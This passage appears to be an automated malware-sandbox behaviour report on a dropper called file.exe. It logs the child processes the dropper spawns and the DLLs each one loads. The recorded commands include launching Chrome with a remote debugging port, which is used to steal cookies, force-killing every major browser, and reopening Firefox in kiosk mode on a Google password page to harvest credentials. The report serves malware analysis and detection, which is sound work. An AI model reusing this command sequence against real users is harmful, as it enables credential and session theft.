Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2212 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7014d37a-07f6-453f-b71e-76d8a45fe92d} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25dfab6ef10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe "C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1392 -parentBuildID 20230927232528 -prefsHandle 2920 -prefMapHandle 4116 -prefsLen 26200 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf63c7df-2f6b-4d92-a2e2-83995a3bd365} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25d8d044210 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe "C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe"
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 1520
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2556,i,13032946618736246995,7937194258242021320,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe "C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe"
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe "C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe "C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe "C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe "C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe "C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe "C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2208,i,14654949757915549124,6603204216961418985,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2212 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7014d37a-07f6-453f-b71e-76d8a45fe92d} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25dfab6ef10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1392 -parentBuildID 20230927232528 -prefsHandle 2920 -prefMapHandle 4116 -prefsLen 26200 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf63c7df-2f6b-4d92-a2e2-83995a3bd365} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25d8d044210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2556,i,13032946618736246995,7937194258242021320,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: dnsapi.dll	Jump to behavior
